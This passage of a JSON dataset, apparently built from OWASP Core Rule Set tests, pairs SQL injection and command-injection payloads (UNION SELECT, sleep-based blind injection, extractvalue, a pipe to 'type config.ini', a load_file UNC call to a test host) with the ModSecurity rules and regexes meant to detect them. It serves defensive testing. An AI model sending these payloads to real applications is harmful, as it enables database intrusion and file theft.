"Simple SQL Injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=/path/to/file/unitests.txt') UNION ALL select NULL --" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@detectSQLi", "argument": "", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "removeNulls" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942100", "test_description": "Simple SQL injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "1'||(select extractvalue(xmltype('%toyop;" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@detectSQLi", "argument": "", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "removeNulls" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942100", "test_description": "Advanced SQL Injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=sleep(20)" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@detectSQLi", "argument": "", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "removeNulls" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942100", "test_description": "Simple function call" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=unittests@coreruleset.org\" sleep(10.to_i) \"" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@detectSQLi", "argument": "", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "removeNulls" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942100", "test_description": "Advanced SQL injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=\" | type %SystemDrive%\\\\config.ini | \"" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@detectSQLi", "argument": "", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "removeNulls" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942100", "test_description": "Advanced injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=\"unittests@coreruleset.org\"')) and (select*from(select(sleep(5)))x) --" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@detectSQLi", "argument": "", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "removeNulls" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942100", "test_description": "Advanced SQL injection" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "sql_table=pg_catalog" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:d(?:atabas|b_nam)e[^0-9A-Z_a-z]*\\(|(?:information_schema|m(?:aster\\.\\.sysdatabases|s(?:db|ys(?:ac(?:cess(?:objects|storage|xml)|es)|modules2?|(?:object|querie|relationship)s))|ysql\\.db)|northwind|pg_(?:catalog|toast)|tempdb)\\b|s(?:chema(?:_name\\b|[^0-9A-Z_a-z]*\\()|(?:qlite_(?:temp_)?master|ys(?:aux|\\.database_name))\\b))", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942140", "test_description": "SQL Injection Attack: Common DB Names Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "INFORMATION_SCHEMA" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:d(?:atabas|b_nam)e[^0-9A-Z_a-z]*\\(|(?:information_schema|m(?:aster\\.\\.sysdatabases|s(?:db|ys(?:ac(?:cess(?:objects|storage|xml)|es)|modules2?|(?:object|querie|relationship)s))|ysql\\.db)|northwind|pg_(?:catalog|toast)|tempdb)\\b|s(?:chema(?:_name\\b|[^0-9A-Z_a-z]*\\()|(?:qlite_(?:temp_)?master|ys(?:aux|\\.database_name))\\b))", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942140", "test_description": "SQL Injection Attack: Common DB Names Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "database(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:d(?:atabas|b_nam)e[^0-9A-Z_a-z]*\\(|(?:information_schema|m(?:aster\\.\\.sysdatabases|s(?:db|ys(?:ac(?:cess(?:objects|storage|xml)|es)|modules2?|(?:object|querie|relationship)s))|ysql\\.db)|northwind|pg_(?:catalog|toast)|tempdb)\\b|s(?:chema(?:_name\\b|[^0-9A-Z_a-z]*\\()|(?:qlite_(?:temp_)?master|ys(?:aux|\\.database_name))\\b))", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942140", "test_description": "SQL Injection Attack: Common DB Names Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "db_name(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:d(?:atabas|b_nam)e[^0-9A-Z_a-z]*\\(|(?:information_schema|m(?:aster\\.\\.sysdatabases|s(?:db|ys(?:ac(?:cess(?:objects|storage|xml)|es)|modules2?|(?:object|querie|relationship)s))|ysql\\.db)|northwind|pg_(?:catalog|toast)|tempdb)\\b|s(?:chema(?:_name\\b|[^0-9A-Z_a-z]*\\()|(?:qlite_(?:temp_)?master|ys(?:aux|\\.database_name))\\b))", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942140", "test_description": "SQL Injection Attack: Common DB Names Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "DaTaBasE(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:d(?:atabas|b_nam)e[^0-9A-Z_a-z]*\\(|(?:information_schema|m(?:aster\\.\\.sysdatabases|s(?:db|ys(?:ac(?:cess(?:objects|storage|xml)|es)|modules2?|(?:object|querie|relationship)s))|ysql\\.db)|northwind|pg_(?:catalog|toast)|tempdb)\\b|s(?:chema(?:_name\\b|[^0-9A-Z_a-z]*\\()|(?:qlite_(?:temp_)?master|ys(?:aux|\\.database_name))\\b))", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942140", "test_description": "SQL Injection Attack: Common DB Names Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "InFoRmaTioN_ScHemA" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:d(?:atabas|b_nam)e[^0-9A-Z_a-z]*\\(|(?:information_schema|m(?:aster\\.\\.sysdatabases|s(?:db|ys(?:ac(?:cess(?:objects|storage|xml)|es)|modules2?|(?:object|querie|relationship)s))|ysql\\.db)|northwind|pg_(?:catalog|toast)|tempdb)\\b|s(?:chema(?:_name\\b|[^0-9A-Z_a-z]*\\()|(?:qlite_(?:temp_)?master|ys(?:aux|\\.database_name))\\b))", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942140", "test_description": "SQL Injection Attack: Common DB Names Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "DB_NAME(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:d(?:atabas|b_nam)e[^0-9A-Z_a-z]*\\(|(?:information_schema|m(?:aster\\.\\.sysdatabases|s(?:db|ys(?:ac(?:cess(?:objects|storage|xml)|es)|modules2?|(?:object|querie|relationship)s))|ysql\\.db)|northwind|pg_(?:catalog|toast)|tempdb)\\b|s(?:chema(?:_name\\b|[^0-9A-Z_a-z]*\\()|(?:qlite_(?:temp_)?master|ys(?:aux|\\.database_name))\\b))", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942140", "test_description": "SQL Injection Attack: Common DB Names Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "tempdb" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:d(?:atabas|b_nam)e[^0-9A-Z_a-z]*\\(|(?:information_schema|m(?:aster\\.\\.sysdatabases|s(?:db|ys(?:ac(?:cess(?:objects|storage|xml)|es)|modules2?|(?:object|querie|relationship)s))|ysql\\.db)|northwind|pg_(?:catalog|toast)|tempdb)\\b|s(?:chema(?:_name\\b|[^0-9A-Z_a-z]*\\()|(?:qlite_(?:temp_)?master|ys(?:aux|\\.database_name))\\b))", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942140", "test_description": "SQL Injection Attack: Common DB Names Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "msdb" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:d(?:atabas|b_nam)e[^0-9A-Z_a-z]*\\(|(?:information_schema|m(?:aster\\.\\.sysdatabases|s(?:db|ys(?:ac(?:cess(?:objects|storage|xml)|es)|modules2?|(?:object|querie|relationship)s))|ysql\\.db)|northwind|pg_(?:catalog|toast)|tempdb)\\b|s(?:chema(?:_name\\b|[^0-9A-Z_a-z]*\\()|(?:qlite_(?:temp_)?master|ys(?:aux|\\.database_name))\\b))", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942140", "test_description": "SQL Injection Attack: Common DB Names Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "mysql.db" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:d(?:atabas|b_nam)e[^0-9A-Z_a-z]*\\(|(?:information_schema|m(?:aster\\.\\.sysdatabases|s(?:db|ys(?:ac(?:cess(?:objects|storage|xml)|es)|modules2?|(?:object|querie|relationship)s))|ysql\\.db)|northwind|pg_(?:catalog|toast)|tempdb)\\b|s(?:chema(?:_name\\b|[^0-9A-Z_a-z]*\\()|(?:qlite_(?:temp_)?master|ys(?:aux|\\.database_name))\\b))", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942140", "test_description": "SQL Injection Attack: Common DB Names Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "MSysAccessObjects" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:d(?:atabas|b_nam)e[^0-9A-Z_a-z]*\\(|(?:information_schema|m(?:aster\\.\\.sysdatabases|s(?:db|ys(?:ac(?:cess(?:objects|storage|xml)|es)|modules2?|(?:object|querie|relationship)s))|ysql\\.db)|northwind|pg_(?:catalog|toast)|tempdb)\\b|s(?:chema(?:_name\\b|[^0-9A-Z_a-z]*\\()|(?:qlite_(?:temp_)?master|ys(?:aux|\\.database_name))\\b))", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942140", "test_description": "SQL Injection Attack: Common DB Names Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "Northwind" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:d(?:atabas|b_nam)e[^0-9A-Z_a-z]*\\(|(?:information_schema|m(?:aster\\.\\.sysdatabases|s(?:db|ys(?:ac(?:cess(?:objects|storage|xml)|es)|modules2?|(?:object|querie|relationship)s))|ysql\\.db)|northwind|pg_(?:catalog|toast)|tempdb)\\b|s(?:chema(?:_name\\b|[^0-9A-Z_a-z]*\\()|(?:qlite_(?:temp_)?master|ys(?:aux|\\.database_name))\\b))", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942140", "test_description": "SQL Injection Attack: Common DB Names Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "northwind" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:d(?:atabas|b_nam)e[^0-9A-Z_a-z]*\\(|(?:information_schema|m(?:aster\\.\\.sysdatabases|s(?:db|ys(?:ac(?:cess(?:objects|storage|xml)|es)|modules2?|(?:object|querie|relationship)s))|ysql\\.db)|northwind|pg_(?:catalog|toast)|tempdb)\\b|s(?:chema(?:_name\\b|[^0-9A-Z_a-z]*\\()|(?:qlite_(?:temp_)?master|ys(?:aux|\\.database_name))\\b))", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942140", "test_description": "SQL Injection Attack: Common DB Names Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "SCHEMA_NAME" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:d(?:atabas|b_nam)e[^0-9A-Z_a-z]*\\(|(?:information_schema|m(?:aster\\.\\.sysdatabases|s(?:db|ys(?:ac(?:cess(?:objects|storage|xml)|es)|modules2?|(?:object|querie|relationship)s))|ysql\\.db)|northwind|pg_(?:catalog|toast)|tempdb)\\b|s(?:chema(?:_name\\b|[^0-9A-Z_a-z]*\\()|(?:qlite_(?:temp_)?master|ys(?:aux|\\.database_name))\\b))", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942140", "test_description": "SQL Injection Attack: Common DB Names Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "DATABASE(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:d(?:atabas|b_nam)e[^0-9A-Z_a-z]*\\(|(?:information_schema|m(?:aster\\.\\.sysdatabases|s(?:db|ys(?:ac(?:cess(?:objects|storage|xml)|es)|modules2?|(?:object|querie|relationship)s))|ysql\\.db)|northwind|pg_(?:catalog|toast)|tempdb)\\b|s(?:chema(?:_name\\b|[^0-9A-Z_a-z]*\\()|(?:qlite_(?:temp_)?master|ys(?:aux|\\.database_name))\\b))", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942140", "test_description": "SQL Injection Attack: Common DB Names Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "schema_name" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:d(?:atabas|b_nam)e[^0-9A-Z_a-z]*\\(|(?:information_schema|m(?:aster\\.\\.sysdatabases|s(?:db|ys(?:ac(?:cess(?:objects|storage|xml)|es)|modules2?|(?:object|querie|relationship)s))|ysql\\.db)|northwind|pg_(?:catalog|toast)|tempdb)\\b|s(?:chema(?:_name\\b|[^0-9A-Z_a-z]*\\()|(?:qlite_(?:temp_)?master|ys(?:aux|\\.database_name))\\b))", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942140", "test_description": "SQL Injection Attack: Common DB Names Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "information_schema" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:d(?:atabas|b_nam)e[^0-9A-Z_a-z]*\\(|(?:information_schema|m(?:aster\\.\\.sysdatabases|s(?:db|ys(?:ac(?:cess(?:objects|storage|xml)|es)|modules2?|(?:object|querie|relationship)s))|ysql\\.db)|northwind|pg_(?:catalog|toast)|tempdb)\\b|s(?:chema(?:_name\\b|[^0-9A-Z_a-z]*\\()|(?:qlite_(?:temp_)?master|ys(?:aux|\\.database_name))\\b))", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942140", "test_description": "SQL Injection Attack: Common DB Names Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=foo'||(select extractvalue(xmltype('%tocob;" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert_tz)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|s_(?:de|en)crypt)|ump)|e(?:n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|insert|object(?:_(?:agg|keys))?|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|east|i(?:kely|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2))|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:lygon|w)|rocedure_analyse)|qu(?:ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp))|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942151", "test_description": "Advanced SQL injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=/config.txt' (select load_file('\\\\\\\\unittests.coreruleset.org\\\\zow')) '" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 